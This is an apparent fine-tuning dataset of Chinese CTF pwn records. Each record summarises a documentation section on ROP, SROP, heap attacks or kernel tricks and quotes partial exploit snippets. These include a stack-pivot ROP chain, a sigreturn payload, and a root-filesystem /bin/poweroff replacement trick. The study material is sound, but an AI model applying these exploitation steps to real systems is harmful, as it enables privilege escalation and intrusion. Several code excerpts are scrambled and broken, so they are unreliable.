"docs_distilled_v1", "source_path": "pwn/browser/chrome/js-engine/v8.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-245aa7d40cb0a93c171d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「stack privot to bss segment, set esp = base_stage」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：stack privot to bss segment, set esp = base_stage\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“stack privot to bss segment, set esp = base_stage”展开。\n- stack_size = 0x800 # new stack size is 0x800 base_stage = bss_addr + stack_size rop.raw('a' * offset) # padding rop.read(0, base_stage, 100) # read 100 byte to base_stage rop.migrate(base_stage) r.sendline(rop.chain())\n- rop = ROP('./main_partial_relro_32') sh = \"/bin/sh\"\n- plt0 = elf.get_section_by_name('.plt').header.sh_addr rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr dynsym = elf.get_section_by_name('.dynsym').header.sh_addr dynstr = elf.get_section_by_name('.dynstr').header.sh_addr\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 506, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "stack privot to bss segment, set esp = base_stage", "heading_path": ["stack privot to bss segment, set esp = base_stage"], "original_id": "docs-0c4de0f51a0574f52446", "original_line": 1319, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "17d84a2cfefe5d827397db09", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-24e0fcfcac11198f24cd", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/tricks/writable-root.md` 中的章节「直接改写根文件系统」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/tricks/writable-root.md`\n标题：直接改写根文件系统\n章节：直接改写根文件系统\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“直接改写根文件系统”展开。\n- 因此在 CTF 比赛当中，一个小技巧便是首先查看文件系统的权限是否配好，对于存在此类情况的题目，我们可以直接改写文件系统根目录，从而使得部分恶意命令被通过 root 权限执行。\n- 这种方法虽然不能让选手在第一时间理解出题人的意图，但可以让选手在第一时间得分。\n- 部分题目由于出题人的疏忽，会导致题目所使用的文件系统的根目录对非特权用户是可写的，这通常是因为出题人对文件系统进行了规范度不够打包。\n- 比较常见的是替换掉 /bin/poweroff ，因为在通用 kernel pwn 出题规范当中的 init 脚本的最后一句通常都使用该命令进行关机。\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 274, "chunk_count": 1, "chunk_index": 0, "ctf_score": 34, "ctf_task_type": "pwn", "heading": "直接改写根文件系统", "heading_path": ["直接改写根文件系统"], "original_id": "docs-f24dcd993dc574f0424d", "original_line": 836, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/tricks/writable-root.md", "source_root": "docs", "source_sha256": "8ba94a5f6edc5a2e3491ee073c831bd52fc73d7c3cf7cf818829b7a891ecad14", "split": "train", "split_group_key": "e78220163efe72b765da0e50", "subcategory": "pwn/linux/kernel-mode", "terms": ["漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "直接改写根文件系统"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/tricks/writable-root.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-25e9393aa6ee57c4298b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「2016 0CTF zerostorage-待完成」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`\n标题：Unsorted Bin Attack\n章节：in order not to merge into top chunk > 2016 0CTF zerostorage-待完成\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2016 0CTF zerostorage-待完成”展开。\n- 这个题当时给了服务器的系统版本和内核版本，所以自己可以下一个一模一样的进行调试，这里我们就直接用自己的本地机器调试了。\n- 但是在目前的Ubuntu 16.04 中，由于进一步的随机化，导致 libc 加载的位置与程序模块加载的位置之间的相对偏移不再固定，所以 BrieflyX 的策略就无法再次使用，似乎只能用 angelboy 的策略了。\n- 这里我们以 2016 年 0CTF 的 zerostorage 为例，进行介绍。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 344, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "2016 0CTF zerostorage-待完成", "heading_path": ["in order not to merge into top chunk", "2016 0CTF zerostorage-待完成"], "original_id": "docs-5f5d13b9582d5e57f7c3", "original_line": 1109, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "source_root": "docs", "source_sha256": "c2ba53ae053f8100dfd6c9f4174e9fdafca0b7e6ad07e6279865c89a5f082052", "split": "train", "split_group_key": "5d361cc318616c0a0951bd90", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Unsorted Bin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-269b75c70d10ffaa4cff", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「参考阅读」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`\n标题：中级ROP\n章节：中级ROP > BROP > 参考阅读\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考阅读”展开。\n- http://ytliu.info/blog/2014/09/28/blind-return-oriented-programming-brop-attack-gong-ji-yuan-li/ - http://bobao.360.cn/learning/detail/3694.html - http://o0xmuhe.me/2017/01/22/Have-fun-with-Blind-ROP/\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 202, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "参考阅读", "heading_path": ["中级ROP", "BROP", "参考阅读"], "original_id": "docs-7a4554324fa38e722a06", "original_line": 1298, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "source_root": "docs", "source_sha256": "2d11b5635ce2a11d71a4845a96933e353841718735da91048aa864c3d2273a3a", "split": "train", "split_group_key": "e9c6747bafafb5687d87872d", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "中级ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-271026cd1184eb49c8d8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/environment.md` 中的章节「安装 gdb」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/environment.md`\n标题：简介\n章节：pwn-related tools > 在本地直接搭建 CTF Pwn 做题环境 > 安装 gdb\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- Type \"apropos word\" to search for commands related to \"word\". (gdb) ` 若你的计算机尚未安装 gdb，则可以使用如下命令进行安装，请自行分辨你所使用的发行版。\n- Type \"show copying\" and \"show warranty\" for details.\n- Type \"show configuration\" for configuration details.\n- gdb 在绝大部分 Linux 发行版上都已默认安装，你可以在 shell 中输入 gdb 命令进行确认（输入 q 退出）: ``shell $ gdb GNU gdb (GDB;\n- GNU Debugger（GDB）是 GNU 项目开发的软件调试器，使用 gdb 我们可以很方便地对二进制程序进行动态调试。\n- SUSE Linux Enterprise 15) 13.2 Copyright (C) 2023 Free Software Foundation, Inc.\n\n关键术语：\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- environment.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 16 行，首行 `$ gdb`\n- shell: 1 行，首行 `sudo apt-get install -y gdb`\n- shell: 1 行，首行 `sudo zypper install gdb`\n- shell: 1 行，首行 `sudo yay -S gdb # 若未配置 AUR，你也可以使用 pacman -S gdb 进行安装`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1241, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "安装 gdb", "heading_path": ["pwn-related tools", "在本地直接搭建 CTF Pwn 做题环境", "安装 gdb"], "original_id": "docs-5b3a3c7ea33290b66a91", "original_line": 851, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "source_root": "docs", "source_sha256": "b7c106ba08e98d53c01f65a51ffe9d367fabc959eda5db3eb84c7d5a83cc9d8a", "split": "train", "split_group_key": "97ad604f17aaa9cc8d99eafc", "subcategory": "pwn/linux/user-mode", "terms": ["ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "environment.md", "code:shell"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-271a1c35b18c6d3f4a7d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md` 中的章节「总结」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md`\n标题：House Of Einherjar\n章节：House Of Einherjar > 原理 > 总结\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 这里我们总结下这个利用技术需要注意的地方 - 需要有溢出漏洞可以写物理相邻的高地址的 prev_size 与 PREV_INUSE 部分。\n- 我们需要在目的 chunk 附近构造相应的 fake chunk，从而绕过 unlink 的检测。\n- 我们需要计算目的 chunk 与 p1 地址之间的差，所以需要泄漏地址。\n- 其实，该技术与 chunk extend/shrink 技术比较类似。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 199, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "总结", "heading_path": ["House Of Einherjar", "原理", "总结"], "original_id": "docs-1a9fc721803a176a8aef", "original_line": 973, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md", "source_root": "docs", "source_sha256": "7555ab87640a8cca0af7390ea651fe0a6f5200d3f5a461105702e891b734e4f5", "split": "train", "split_group_key": "35a2433b6519dcb0dc2e06d9", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "House Of Einherjar"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-276833aa776b7bd6dada", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/stack-intro.md` 中的章节「基本栈介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/stack-intro.md`\n标题：栈介绍\n章节：栈介绍 > 基本栈介绍\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本栈介绍”展开。\n- 文件: ./figure/Data_stack.png] 高级语言在运行时都会被转换为汇编程序，在汇编程序运行过程中，充分利用了这一数据结构。\n- 栈是一种典型的后进先出( Last in First Out )的数据结构，其操作主要有压栈(push)与出栈(pop)两种操作，如下图所示（维基百科）。\n- 需要注意的是，程序的栈是从进程地址空间的高地址向低地址增长的。\n- 每个程序在运行时都有虚拟地址空间，其中某一部分就是该程序对应的栈，用于保存函数调用信息和局部变量。\n\n关键术语：\n- 边界/溢出\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 282, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "基本栈介绍", "heading_path": ["栈介绍", "基本栈介绍"], "original_id": "docs-f3c98219c8f843b16fe3", "original_line": 1299, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/stack-intro.md", "source_root": "docs", "source_sha256": "4af1938345bce51b020c5b98c350817ed924ac2b64ee4533a05cb1d441c9e2d5", "split": "train", "split_group_key": "0ab339020cfad1da48affd6a", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "栈介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/stack-intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2781fdbcb0ac2b447904", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/tricks/initramfs.md` 中的章节「EXPLOIT」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/tricks/initramfs.md`\n标题：在内存中直接搜索 flag\n章节：在内存中直接搜索 flag > 例题：RWCTF2023体验赛 - Digging into kernel 3 > EXPLOIT\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“EXPLOIT”展开。\n- } int main(int argc, char argv, char envp) { struct user_desc desc;\n- if (dev_fd < 0) { err_exit(\"FAILED to open the /dev/rwctf file!\n- void err_exit(char msg) { printf(\"[x] %s \\n\", msg);\n- } void alloc(uint32_t idx, uint32_t size, void buf) { struct node n = { .idx = idx, .size = size, .buf = buf, };\n- } void del(uint32_t idx) { struct node n = { .idx = idx, };\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 153 行，首行 `#define _GNU_SOURCE`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3733, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "EXPLOIT", "heading_path": ["在内存中直接搜索 flag", "例题：RWCTF2023体验赛 - Digging into kernel 3", "EXPLOIT"], "original_id": "docs-9e6b6f599b59cf71d894", "original_line": 831, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/tricks/initramfs.md", "source_root": "docs", "source_sha256": "05a9c458be1e0d960cf97f14bb2dcbca7c76bc21aaf90f606e02263f7b1cc4c7", "split": "train", "split_group_key": "6777aab718301c659a9b4c7b", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "在内存中直接搜索 flag"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/tricks/initramfs.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-283c9264ac97285b8978", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「基础知识」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`\n标题：基础知识\n章节：基础知识\n路径分类：pwn / pwn/windows/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基础知识”展开。\n- 文件: https://s2.loli.net/2025/02/01/o9DzrNqSvLxIfdR.png] 本篇博客我们主要介绍 64 位 Windows NT kernel 的基本运行原理以及一些基本组件，主要以 Windows 10 作为案例进行讲解， _不会涉及与 32 位相关的内容_ 。\n- > 关于 Windows 内核一些结构体的定义可以参见 这个网站\n- > 如果你对操作系统基本理论并不熟悉，那笔者其实更推荐 从 Linux kernel 这一个开源宏内核进行入门，本文基本不会涉及操作系统基础概念。\n- Windows 操作系统全称为新技术视窗（Windows New Technology，简称 Windows NT），其 _曾经_ 声称采用的是微内核架构（micro kernel），即大部分系统组件都以用户态形式存在，仅有部分必要组件以内核态形式存在，但实际上现在 Windows 往内核态塞了不少东西，所以现在的 NT kernel 更偏向于 _混合内核_ （hybrid kernel）。\n\n关键术语：\n- pwn\n- windows\n- kernel-mode\n- basic-knowledge\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 607, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "基础知识", "heading_path": ["基础知识"], "original_id": "docs-264c83eacc45fe72d814", "original_line": 1444, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "source_root": "docs", "source_sha256": "dffe9072413dc248a151b1fce985a46c7e465f5387c687ba5f3287e4acd99fc6", "split": "train", "split_group_key": "37dfa3e7aea1787937d08174", "subcategory": "pwn/windows/kernel-mode", "terms": ["pwn", "windows", "kernel-mode", "basic-knowledge"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-290e908a94a4c13ab825", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md` 中的章节「the frame is read(0,stack_addr,0x400)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md`\n标题：SROP\n章节：SROP > the frame is read(0,stack_addr,0x400)\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“the frame is read(0,stack_addr,0x400)”展开。\n- sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read sigframe.rdi = 0 sigframe.rsi = stack_addr sigframe.rdx = 0x400 sigframe.rsp = stack_addr sigframe.rip = syscall_ret payload = p64(start_addr) + 'a' * 8 + str(sigframe) sh.send(payload)\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 247, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "the frame is read(0,stack_addr,0x400)", "heading_path": ["SROP", "the frame is read(0,stack_addr,0x400)"], "original_id": "docs-66ffc0c2299e2a04e3e2", "original_line": 1381, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md", "source_root": "docs", "source_sha256": "be09d01c0a7443a4780110de7f6d46e89cf31a313492e7e6da2a5370dd9dbdd1", "split": "train", "split_group_key": "e63c344685d5cd7943b39fb6", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "SROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-291d094f54cb6de7f38e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「control rdx」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`\n标题：中级ROP\n章节：中级ROP > BROP > 攻击原理 > Blind ROP > 基本思路 > control rdx\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“control rdx”展开。\n- 这里需要说明执行strcmp的时候，rdx会被设置为将要被比较的字符串的长度，所以我们可以找到strcmp函数，从而来控制rdx。\n- 那么接下来的问题，我们就可以分为两项 - 寻找gadgets - 寻找PLT表 - write入口 - strcmp入口\n- 需要注意的是，rdx只是我们用来输出程序字节长度的变量，只要不为0即可。\n- 但是为了更好地控制程序输出，我们仍然尽量可以控制这个值。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:asm\n\n代码/命令片段线索：\n- asm: 1 行，首行 `pop rdx; ret`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 274, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "control rdx", "heading_path": ["中级ROP", "BROP", "攻击原理", "Blind ROP", "基本思路", "control rdx"], "original_id": "docs-60912d2c1dc57f90b162", "original_line": 1286, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "source_root": "docs", "source_sha256": "2d11b5635ce2a11d71a4845a96933e353841718735da91048aa864c3d2273a3a", "split": "train", "split_group_key": "c75e60d1cac615331d1789a3", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow", "code:asm"], "title": "中级ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "split": "train", "type": "ctf_lora_sft"}
